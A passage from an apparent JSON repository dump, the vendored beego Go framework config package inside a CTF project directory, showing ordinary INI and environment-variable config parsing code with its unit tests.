data.\ntype Configer interface {\n\tSet(key, val string) error   //support section::key type in given key when using ini type.\n\tString(key string) string    //support section::key type in key string when using ini and json type; Int,Int64,Bool,Float,DIY are same.\n\tStrings(key string) []string //get string slice\n\tInt(key string) (int, error)\n\tInt64(key string) (int64, error)\n\tBool(key string) (bool, error)\n\tFloat(key string) (float64, error)\n\tDefaultString(key string, defaultVal string) string      // support section::key type in key string when using ini and json type; Int,Int64,Bool,Float,DIY are same.\n\tDefaultStrings(key string, defaultVal []string) []string //get string slice\n\tDefaultInt(key string, defaultVal int) int\n\tDefaultInt64(key string, defaultVal int64) int64\n\tDefaultBool(key string, defaultVal bool) bool\n\tDefaultFloat(key string, defaultVal float64) float64\n\tDIY(key string) (interface{}, error)\n\tGetSection(section string) (map[string]string, error)\n\tSaveConfigFile(filename string) error\n}\n\n// Config is the adapter interface for parsing config file to get raw data to Configer.\ntype Config interface {\n\tParse(key string) (Configer, error)\n\tParseData(data []byte) (Configer, error)\n}\n\nvar adapters = make(map[string]Config)\n\n// Register makes a config adapter available by the adapter name.\n// If Register is called twice with the same name or if driver is nil,\n// it panics.\nfunc Register(name string, adapter Config) {\n\tif adapter == nil {\n\t\tpanic(\"config: Register adapter is nil\")\n\t}\n\tif _, ok := adapters[name]; ok {\n\t\tpanic(\"config: Register called twice for adapter \" + name)\n\t}\n\tadapters[name] = adapter\n}\n\n// NewConfig adapterName is ini/json/xml/yaml.\n// filename is the config file path.\nfunc NewConfig(adapterName, filename string) (Configer, error) {\n\tadapter, ok := adapters[adapterName]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"config: unknown adaptername %q (forgotten import?)\", adapterName)\n\t}\n\treturn adapter.Parse(filename)\n}\n\n// NewConfigData adapterName is ini/json/xml/yaml.\n// data is the config data.\nfunc NewConfigData(adapterName string, data []byte) (Configer, error) {\n\tadapter, ok := adapters[adapterName]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"config: unknown adaptername %q (forgotten import?)\", adapterName)\n\t}\n\treturn adapter.ParseData(data)\n}\n\n// ExpandValueEnvForMap convert all string value with environment variable.\nfunc ExpandValueEnvForMap(m map[string]interface{}) map[string]interface{} {\n\tfor k, v := range m {\n\t\tswitch value := v.(type) {\n\t\tcase string:\n\t\t\tm[k] = ExpandValueEnv(value)\n\t\tcase map[string]interface{}:\n\t\t\tm[k] = ExpandValueEnvForMap(value)\n\t\tcase map[string]string:\n\t\t\tfor k2, v2 := range value {\n\t\t\t\tvalue[k2] = ExpandValueEnv(v2)\n\t\t\t}\n\t\t\tm[k] = value\n\t\t}\n\t}\n\treturn m\n}\n\n// ExpandValueEnv returns value of convert with environment variable.\n//\n// Return environment variable if value start with \"${\" and end with \"}\".\n// Return default value if environment variable is empty or not exist.\n//\n// It accept value formats \"${env}\" , \"${env||}}\" , \"${env||defaultValue}\" , \"defaultvalue\".\n// Examples:\n//\tv1 := config.ExpandValueEnv(\"${GOPATH}\")\t\t\t// return the GOPATH environment variable.\n//\tv2 := config.ExpandValueEnv(\"${GOAsta||/usr/local/go}\")\t// return the default value \"/usr/local/go/\".\n//\tv3 := config.ExpandValueEnv(\"Astaxie\")\t\t\t\t// return the value \"Astaxie\".\nfunc ExpandValueEnv(value string) (realValue string) {\n\trealValue = value\n\n\tvLen := len(value)\n\t// 3 = ${}\n\tif vLen < 3 {\n\t\treturn\n\t}\n\t// Need start with \"${\" and end with \"}\", then return.\n\tif value[0] != '$' || value[1] != '{' || value[vLen-1] != '}' {\n\t\treturn\n\t}\n\n\tkey := \"\"\n\tdefalutV := \"\"\n\t// value start with \"${\"\n\tfor i := 2; i < vLen; i++ {\n\t\tif value[i] == '|' && (i+1 < vLen && value[i+1] == '|') {\n\t\t\tkey = value[2:i]\n\t\t\tdefalutV = value[i+2 : vLen-1] // other string is default value.\n\t\t\tbreak\n\t\t} else if value[i] == '}' {\n\t\t\tkey = value[2:i]\n\t\t\tbreak\n\t\t}\n\t}\n\n\trealValue = os.Getenv(key)\n\tif realValue == \"\" {\n\t\trealValue = defalutV\n\t}\n\n\treturn\n}\n\n// ParseBool returns the boolean value represented by the string.\n//\n// It accepts 1, 1.0, t, T, TRUE, true, True, YES, yes, Yes,Y, y, ON, on, On,\n// 0, 0.0, f, F, FALSE, false, False, NO, no, No, N,n, OFF, off, Off.\n// Any other value returns an error.\nfunc ParseBool(val interface{}) (value bool, err error) {\n\tif val != nil {\n\t\tswitch v := val.(type) {\n\t\tcase bool:\n\t\t\treturn v, nil\n\t\tcase string:\n\t\t\tswitch v {\n\t\t\tcase \"1\", \"t\", \"T\", \"true\", \"TRUE\", \"True\", \"YES\", \"yes\", \"Yes\", \"Y\", \"y\", \"ON\", \"on\", \"On\":\n\t\t\t\treturn true, nil\n\t\t\tcase \"0\", \"f\", \"F\", \"false\", \"FALSE\", \"False\", \"NO\", \"no\", \"No\", \"N\", \"n\", \"OFF\", \"off\", \"Off\":\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\tcase int8, int32, int64:\n\t\t\tstrV := fmt.Sprintf(\"%d\", v)\n\t\t\tif strV == \"1\" {\n\t\t\t\treturn true, nil\n\t\t\t} else if strV == \"0\" {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\tcase float64:\n\t\t\tif v == 1.0 {\n\t\t\t\treturn true, nil\n\t\t\t} else if v == 0.0 {\n\t\t\t\treturn false, nil\n\t\t\t}\n\t\t}\n\t\treturn false, fmt.Errorf(\"parsing %q: invalid syntax\", val)\n\t}\n\treturn false, fmt.Errorf(\"parsing <nil>: invalid syntax\")\n}\n\n// ToString converts values of any type to string.\nfunc ToString(x interface{}) string {\n\tswitch y := x.(type) {\n\n\t// Handle dates with special logic\n\t// This needs to come above the fmt.Stringer\n\t// test since time.Time's have a .String()\n\t// method\n\tcase time.Time:\n\t\treturn y.Format(\"A Monday\")\n\n\t// Handle type string\n\tcase string:\n\t\treturn y\n\n\t// Handle type with .String() method\n\tcase fmt.Stringer:\n\t\treturn y.String()\n\n\t// Handle type with .Error() method\n\tcase error:\n\t\treturn y.Error()\n\n\t}\n\n\t// Handle named string type\n\tif v := reflect.ValueOf(x); v.Kind() == reflect.String {\n\t\treturn v.String()\n\t}\n\n\t// Fallback to fmt package for anything else like numeric types\n\treturn fmt.Sprint(x)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/config_test.go",
    "content": "// Copyright 2016 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage config\n\nimport (\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestExpandValueEnv(t *testing.T) {\n\n\ttestCases := []struct {\n\t\titem string\n\t\twant string\n\t}{\n\t\t{\"\", \"\"},\n\t\t{\"$\", \"$\"},\n\t\t{\"{\", \"{\"},\n\t\t{\"{}\", \"{}\"},\n\t\t{\"${}\", \"\"},\n\t\t{\"${|}\", \"\"},\n\t\t{\"${}\", \"\"},\n\t\t{\"${{}}\", \"\"},\n\t\t{\"${{||}}\", \"}\"},\n\t\t{\"${pwd||}\", \"\"},\n\t\t{\"${pwd||}\", \"\"},\n\t\t{\"${pwd||}\", \"\"},\n\t\t{\"${pwd||}}\", \"}\"},\n\t\t{\"${pwd||{{||}}}\", \"{{||}}\"},\n\t\t{\"${GOPATH}\", os.Getenv(\"GOPATH\")},\n\t\t{\"${GOPATH||}\", os.Getenv(\"GOPATH\")},\n\t\t{\"${GOPATH||root}\", os.Getenv(\"GOPATH\")},\n\t\t{\"${GOPATH_NOT||root}\", \"root\"},\n\t\t{\"${GOPATH_NOT||||root}\", \"||root\"},\n\t}\n\n\tfor _, c := range testCases {\n\t\tif got := ExpandValueEnv(c.item); got != c.want {\n\t\t\tt.Errorf(\"expand value error, item %q want %q, got %q\", c.item, c.want, got)\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/env/env.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n// Copyright 2017 Faissal Elamraoui. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package env is used to parse environment.\npackage env\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/utils\"\n)\n\nvar env *utils.BeeMap\n\nfunc init() {\n\tenv = utils.NewBeeMap()\n\tfor _, e := range os.Environ() {\n\t\tsplits := strings.Split(e, \"=\")\n\t\tenv.Set(splits[0], os.Getenv(splits[0]))\n\t}\n}\n\n// Get returns a value by key.\n// If the key does not exist, the default value will be returned.\nfunc Get(key string, defVal string) string {\n\tif val := env.Get(key); val != nil {\n\t\treturn val.(string)\n\t}\n\treturn defVal\n}\n\n// MustGet returns a value by key.\n// If the key does not exist, it will return an error.\nfunc MustGet(key string) (string, error) {\n\tif val := env.Get(key); val != nil {\n\t\treturn val.(string), nil\n\t}\n\treturn \"\", fmt.Errorf(\"no env variable with %s\", key)\n}\n\n// Set sets a value in the ENV copy.\n// This does not affect the child process environment.\nfunc Set(key string, value string) {\n\tenv.Set(key, value)\n}\n\n// MustSet sets a value in the ENV copy and the child process environment.\n// It returns an error in case the set operation failed.\nfunc MustSet(key string, value string) error {\n\terr := os.Setenv(key, value)\n\tif err != nil {\n\t\treturn err\n\t}\n\tenv.Set(key, value)\n\treturn nil\n}\n\n// GetAll returns all keys/values in the current child process environment.\nfunc GetAll() map[string]string {\n\titems := env.Items()\n\tenvs := make(map[string]string, env.Count())\n\n\tfor key, val := range items {\n\t\tswitch key := key.(type) {\n\t\tcase string:\n\t\t\tswitch val := val.(type) {\n\t\t\tcase string:\n\t\t\t\tenvs[key] = val\n\t\t\t}\n\t\t}\n\t}\n\treturn envs\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/env/env_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n// Copyright 2017 Faissal Elamraoui. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\npackage env\n\nimport (\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestEnvGet(t *testing.T) {\n\tgopath := Get(\"GOPATH\", \"\")\n\tif gopath != os.Getenv(\"GOPATH\") {\n\t\tt.Error(\"expected GOPATH not empty.\")\n\t}\n\n\tnoExistVar := Get(\"NOEXISTVAR\", \"foo\")\n\tif noExistVar != \"foo\" {\n\t\tt.Errorf(\"expected NOEXISTVAR to equal foo, got %s.\", noExistVar)\n\t}\n}\n\nfunc TestEnvMustGet(t *testing.T) {\n\tgopath, err := MustGet(\"GOPATH\")\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif gopath != os.Getenv(\"GOPATH\") {\n\t\tt.Errorf(\"expected GOPATH to be the same, got %s.\", gopath)\n\t}\n\n\t_, err = MustGet(\"NOEXISTVAR\")\n\tif err == nil {\n\t\tt.Error(\"expected error to be non-nil\")\n\t}\n}\n\nfunc TestEnvSet(t *testing.T) {\n\tSet(\"MYVAR\", \"foo\")\n\tmyVar := Get(\"MYVAR\", \"bar\")\n\tif myVar != \"foo\" {\n\t\tt.Errorf(\"expected MYVAR to equal foo, got %s.\", myVar)\n\t}\n}\n\nfunc TestEnvMustSet(t *testing.T) {\n\terr := MustSet(\"FOO\", \"bar\")\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tfooVar := os.Getenv(\"FOO\")\n\tif fooVar != \"bar\" {\n\t\tt.Errorf(\"expected FOO variable to equal bar, got %s.\", fooVar)\n\t}\n}\n\nfunc TestEnvGetAll(t *testing.T) {\n\tenvMap := GetAll()\n\tif len(envMap) == 0 {\n\t\tt.Error(\"expected environment not empty.\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/fake.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage config\n\nimport (\n\t\"errors\"\n\t\"strconv\"\n\t\"strings\"\n)\n\ntype fakeConfigContainer struct {\n\tdata map[string]string\n}\n\nfunc (c *fakeConfigContainer) getData(key string) string {\n\treturn c.data[strings.ToLower(key)]\n}\n\nfunc (c *fakeConfigContainer) Set(key, val string) error {\n\tc.data[strings.ToLower(key)] = val\n\treturn nil\n}\n\nfunc (c *fakeConfigContainer) String(key string) string {\n\treturn c.getData(key)\n}\n\nfunc (c *fakeConfigContainer) DefaultString(key string, defaultval string) string {\n\tv := c.String(key)\n\tif v == \"\" {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\nfunc (c *fakeConfigContainer) Strings(key string) []string {\n\tv := c.String(key)\n\tif v == \"\" {\n\t\treturn nil\n\t}\n\treturn strings.Split(v, \";\")\n}\n\nfunc (c *fakeConfigContainer) DefaultStrings(key string, defaultval []string) []string {\n\tv := c.Strings(key)\n\tif v == nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\nfunc (c *fakeConfigContainer) Int(key string) (int, error) {\n\treturn strconv.Atoi(c.getData(key))\n}\n\nfunc (c *fakeConfigContainer) DefaultInt(key string, defaultval int) int {\n\tv, err := c.Int(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\nfunc (c *fakeConfigContainer) Int64(key string) (int64, error) {\n\treturn strconv.ParseInt(c.getData(key), 10, 64)\n}\n\nfunc (c *fakeConfigContainer) DefaultInt64(key string, defaultval int64) int64 {\n\tv, err := c.Int64(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\nfunc (c *fakeConfigContainer) Bool(key string) (bool, error) {\n\treturn ParseBool(c.getData(key))\n}\n\nfunc (c *fakeConfigContainer) DefaultBool(key string, defaultval bool) bool {\n\tv, err := c.Bool(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\nfunc (c *fakeConfigContainer) Float(key string) (float64, error) {\n\treturn strconv.ParseFloat(c.getData(key), 64)\n}\n\nfunc (c *fakeConfigContainer) DefaultFloat(key string, defaultval float64) float64 {\n\tv, err := c.Float(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\nfunc (c *fakeConfigContainer) DIY(key string) (interface{}, error) {\n\tif v, ok := c.data[strings.ToLower(key)]; ok {\n\t\treturn v, nil\n\t}\n\treturn nil, errors.New(\"key not find\")\n}\n\nfunc (c *fakeConfigContainer) GetSection(section string) (map[string]string, error) {\n\treturn nil, errors.New(\"not implement in the fakeConfigContainer\")\n}\n\nfunc (c *fakeConfigContainer) SaveConfigFile(filename string) error {\n\treturn errors.New(\"not implement in the fakeConfigContainer\")\n}\n\nvar _ Configer = new(fakeConfigContainer)\n\n// NewFakeConfig return a fake Congiger\nfunc NewFakeConfig() Configer {\n\treturn &fakeConfigContainer{\n\t\tdata: make(map[string]string),\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/ini.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage config\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/user\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n)\n\nvar (\n\tdefaultSection = \"default\"   // default section means if some ini items not in a section, make them in default section,\n\tbNumComment    = []byte{'#'} // number signal\n\tbSemComment    = []byte{';'} // semicolon signal\n\tbEmpty         = []byte{}\n\tbEqual         = []byte{'='} // equal signal\n\tbDQuote        = []byte{'\"'} // quote signal\n\tsectionStart   = []byte{'['} // section start signal\n\tsectionEnd     = []byte{']'} // section end signal\n\tlineBreak      = \"\\n\"\n)\n\n// IniConfig implements Config to parse ini file.\ntype IniConfig struct {\n}\n\n// Parse creates a new Config and parses the file configuration from the named file.\nfunc (ini *IniConfig) Parse(name string) (Configer, error) {\n\treturn ini.parseFile(name)\n}\n\nfunc (ini *IniConfig) parseFile(name string) (*IniConfigContainer, error) {\n\tdata, err := ioutil.ReadFile(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ini.parseData(filepath.Dir(name), data)\n}\n\nfunc (ini *IniConfig) parseData(dir string, data []byte) (*IniConfigContainer, error) {\n\tcfg := &IniConfigContainer{\n\t\tdata:           make(map[string]map[string]string),\n\t\tsectionComment: make(map[string]string),\n\t\tkeyComment:     make(map[string]string),\n\t\tRWMutex:        sync.RWMutex{},\n\t}\n\tcfg.Lock()\n\tdefer cfg.Unlock()\n\n\tvar comment bytes.Buffer\n\tbuf := bufio.NewReader(bytes.NewBuffer(data))\n\t// check the BOM\n\thead, err := buf.Peek(3)\n\tif err == nil && head[0] == 239 && head[1] == 187 && head[2] == 191 {\n\t\tfor i := 1; i <= 3; i++ {\n\t\t\tbuf.ReadByte()\n\t\t}\n\t}\n\tsection := defaultSection\n\tfor {\n\t\tline, _, err := buf.ReadLine()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\t//It might be a good idea to throw a error on all unknonw errors?\n\t\tif _, ok := err.(*os.PathError); ok {\n\t\t\treturn nil, err\n\t\t}\n\t\tline = bytes.TrimSpace(line)\n\t\tif bytes.Equal(line, bEmpty) {\n\t\t\tcontinue\n\t\t}\n\t\tvar bComment []byte\n\t\tswitch {\n\t\tcase bytes.HasPrefix(line, bNumComment):\n\t\t\tbComment = bNumComment\n\t\tcase bytes.HasPrefix(line, bSemComment):\n\t\t\tbComment = bSemComment\n\t\t}\n\t\tif bComment != nil {\n\t\t\tline = bytes.TrimLeft(line, string(bComment))\n\t\t\t// Need append to a new line if multi-line comments.\n\t\t\tif comment.Len() > 0 {\n\t\t\t\tcomment.WriteByte('\\n')\n\t\t\t}\n\t\t\tcomment.Write(line)\n\t\t\tcontinue\n\t\t}\n\n\t\tif bytes.HasPrefix(line, sectionStart) && bytes.HasSuffix(line, sectionEnd) {\n\t\t\tsection = strings.ToLower(string(line[1 : len(line)-1])) // section name case insensitive\n\t\t\tif comment.Len() > 0 {\n\t\t\t\tcfg.sectionComment[section] = comment.String()\n\t\t\t\tcomment.Reset()\n\t\t\t}\n\t\t\tif _, ok := cfg.data[section]; !ok {\n\t\t\t\tcfg.data[section] = make(map[string]string)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif _, ok := cfg.data[section]; !ok {\n\t\t\tcfg.data[section] = make(map[string]string)\n\t\t}\n\t\tkeyValue := bytes.SplitN(line, bEqual, 2)\n\n\t\tkey := string(bytes.TrimSpace(keyValue[0])) // key name case insensitive\n\t\tkey = strings.ToLower(key)\n\n\t\t// handle include \"other.conf\"\n\t\tif len(keyValue) == 1 && strings.HasPrefix(key, \"include\") {\n\n\t\t\tincludefiles := strings.Fields(key)\n\t\t\tif includefiles[0] == \"include\" && len(includefiles) == 2 {\n\n\t\t\t\totherfile := strings.Trim(includefiles[1], \"\\\"\")\n\t\t\t\tif !filepath.IsAbs(otherfile) {\n\t\t\t\t\totherfile = filepath.Join(dir, otherfile)\n\t\t\t\t}\n\n\t\t\t\ti, err := ini.parseFile(otherfile)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tfor sec, dt := range i.data {\n\t\t\t\t\tif _, ok := cfg.data[sec]; !ok {\n\t\t\t\t\t\tcfg.data[sec] = make(map[string]string)\n\t\t\t\t\t}\n\t\t\t\t\tfor k, v := range dt {\n\t\t\t\t\t\tcfg.data[sec][k] = v\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor sec, comm := range i.sectionComment {\n\t\t\t\t\tcfg.sectionComment[sec] = comm\n\t\t\t\t}\n\n\t\t\t\tfor k, comm := range i.keyComment {\n\t\t\t\t\tcfg.keyComment[k] = comm\n\t\t\t\t}\n\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tif len(keyValue) != 2 {\n\t\t\treturn nil, errors.New(\"read the content error: \\\"\" + string(line) + \"\\\", should key = val\")\n\t\t}\n\t\tval := bytes.TrimSpace(keyValue[1])\n\t\tif bytes.HasPrefix(val, bDQuote) {\n\t\t\tval = bytes.Trim(val, `\"`)\n\t\t}\n\n\t\tcfg.data[section][key] = ExpandValueEnv(string(val))\n\t\tif comment.Len() > 0 {\n\t\t\tcfg.keyComment[section+\".\"+key] = comment.String()\n\t\t\tcomment.Reset()\n\t\t}\n\n\t}\n\treturn cfg, nil\n}\n\n// ParseData parse ini the data\n// When include other.conf,other.conf is either absolute directory\n// or under beego in default temporary directory(/tmp/beego[-username]).\nfunc (ini *IniConfig) ParseData(data []byte) (Configer, error) {\n\tdir := \"beego\"\n\tcurrentUser, err := user.Current()\n\tif err == nil {\n\t\tdir = \"beego-\" + currentUser.Username\n\t}\n\tdir = filepath.Join(os.TempDir(), dir)\n\tif err = os.MkdirAll(dir, os.ModePerm); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ini.parseData(dir, data)\n}\n\n// IniConfigContainer A Config represents the ini configuration.\n// When set and get value, support key as section:name type.\ntype IniConfigContainer struct {\n\tdata           map[string]map[string]string // section=> key:val\n\tsectionComment map[string]string            // section : comment\n\tkeyComment     map[string]string            // id: []{comment, key...}; id 1 is for main comment.\n\tsync.RWMutex\n}\n\n// Bool returns the boolean value for a given key.\nfunc (c *IniConfigContainer) Bool(key string) (bool, error) {\n\treturn ParseBool(c.getdata(key))\n}\n\n// DefaultBool returns the boolean value for a given key.\n// if err != nil return defaltval\nfunc (c *IniConfigContainer) DefaultBool(key string, defaultval bool) bool {\n\tv, err := c.Bool(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Int returns the integer value for a given key.\nfunc (c *IniConfigContainer) Int(key string) (int, error) {\n\treturn strconv.Atoi(c.getdata(key))\n}\n\n// DefaultInt returns the integer value for a given key.\n// if err != nil return defaltval\nfunc (c *IniConfigContainer) DefaultInt(key string, defaultval int) int {\n\tv, err := c.Int(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Int64 returns the int64 value for a given key.\nfunc (c *IniConfigContainer) Int64(key string) (int64, error) {\n\treturn strconv.ParseInt(c.getdata(key), 10, 64)\n}\n\n// DefaultInt64 returns the int64 value for a given key.\n// if err != nil return defaltval\nfunc (c *IniConfigContainer) DefaultInt64(key string, defaultval int64) int64 {\n\tv, err := c.Int64(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Float returns the float value for a given key.\nfunc (c *IniConfigContainer) Float(key string) (float64, error) {\n\treturn strconv.ParseFloat(c.getdata(key), 64)\n}\n\n// DefaultFloat returns the float64 value for a given key.\n// if err != nil return defaltval\nfunc (c *IniConfigContainer) DefaultFloat(key string, defaultval float64) float64 {\n\tv, err := c.Float(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// String returns the string value for a given key.\nfunc (c *IniConfigContainer) String(key string) string {\n\treturn c.getdata(key)\n}\n\n// DefaultString returns the string value for a given key.\n// if err != nil return defaltval\nfunc (c *IniConfigContainer) DefaultString(key string, defaultval string) string {\n\tv := c.String(key)\n\tif v == \"\" {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Strings returns the []string value for a given key.\n// Return nil if config value does not exist or is empty.\nfunc (c *IniConfigContainer) Strings(key string) []string {\n\tv := c.String(key)\n\tif v == \"\" {\n\t\treturn nil\n\t}\n\treturn strings.Split(v, \";\")\n}\n\n// DefaultStrings returns the []string value for a given key.\n// if err != nil return defaltval\nfunc (c *IniConfigContainer) DefaultStrings(key string, defaultval []string) []string {\n\tv := c.Strings(key)\n\tif v == nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// GetSection returns map for the given section\nfunc (c *IniConfigContainer) GetSection(section string) (map[string]string, error) {\n\tif v, ok := c.data[section]; ok {\n\t\treturn v, nil\n\t}\n\treturn nil, errors.New(\"not exist section\")\n}\n\n// SaveConfigFile save the config into file.\n//\n// BUG(env): The environment variable config item will be saved with real value in SaveConfigFile Funcation.\nfunc (c *IniConfigContainer) SaveConfigFile(filename string) (err error) {\n\t// Write configuration file by filename.\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\n\t// Get section or key comments. Fixed #1607\n\tgetCommentStr := func(section, key string) string {\n\t\tvar (\n\t\t\tcomment string\n\t\t\tok      bool\n\t\t)\n\t\tif len(key) == 0 {\n\t\t\tcomment, ok = c.sectionComment[section]\n\t\t} else {\n\t\t\tcomment, ok = c.keyComment[section+\".\"+key]\n\t\t}\n\n\t\tif ok {\n\t\t\t// Empty comment\n\t\t\tif len(comment) == 0 || len(strings.TrimSpace(comment)) == 0 {\n\t\t\t\treturn string(bNumComment)\n\t\t\t}\n\t\t\tprefix := string(bNumComment)\n\t\t\t// Add the line head character \"#\"\n\t\t\treturn prefix + strings.Replace(comment, lineBreak, lineBreak+prefix, -1)\n\t\t}\n\t\treturn \"\"\n\t}\n\n\tbuf := bytes.NewBuffer(nil)\n\t// Save default section at first place\n\tif dt, ok := c.data[defaultSection]; ok {\n\t\tfor key, val := range dt {\n\t\t\tif key != \" \" {\n\t\t\t\t// Write key comments.\n\t\t\t\tif v := getCommentStr(defaultSection, key); len(v) > 0 {\n\t\t\t\t\tif _, err = buf.WriteString(v + lineBreak); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Write key and value.\n\t\t\t\tif _, err = buf.WriteString(key + string(bEqual) + val + lineBreak); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Put a line between sections.\n\t\tif _, err = buf.WriteString(lineBreak); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t// Save named sections\n\tfor section, dt := range c.data {\n\t\tif section != defaultSection {\n\t\t\t// Write section comments.\n\t\t\tif v := getCommentStr(section, \"\"); len(v) > 0 {\n\t\t\t\tif _, err = buf.WriteString(v + lineBreak); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Write section name.\n\t\t\tif _, err = buf.WriteString(string(sectionStart) + section + string(sectionEnd) + lineBreak); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tfor key, val := range dt {\n\t\t\t\tif key != \" \" {\n\t\t\t\t\t// Write key comments.\n\t\t\t\t\tif v := getCommentStr(section, key); len(v) > 0 {\n\t\t\t\t\t\tif _, err = buf.WriteString(v + lineBreak); err != nil {\n\t\t\t\t\t\t\treturn err\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Write key and value.\n\t\t\t\t\tif _, err = buf.WriteString(key + string(bEqual) + val + lineBreak); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Put a line between sections.\n\t\t\tif _, err = buf.WriteString(lineBreak); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\t_, err = buf.WriteTo(f)\n\treturn err\n}\n\n// Set writes a new value for key.\n// if write to one section, the key need be \"section::key\".\n// if the section is not existed, it panics.\nfunc (c *IniConfigContainer) Set(key, value string) error {\n\tc.Lock()\n\tdefer c.Unlock()\n\tif len(key) == 0 {\n\t\treturn errors.New(\"key is empty\")\n\t}\n\n\tvar (\n\t\tsection, k string\n\t\tsectionKey = strings.Split(strings.ToLower(key), \"::\")\n\t)\n\n\tif len(sectionKey) >= 2 {\n\t\tsection = sectionKey[0]\n\t\tk = sectionKey[1]\n\t} else {\n\t\tsection = defaultSection\n\t\tk = sectionKey[0]\n\t}\n\n\tif _, ok := c.data[section]; !ok {\n\t\tc.data[section] = 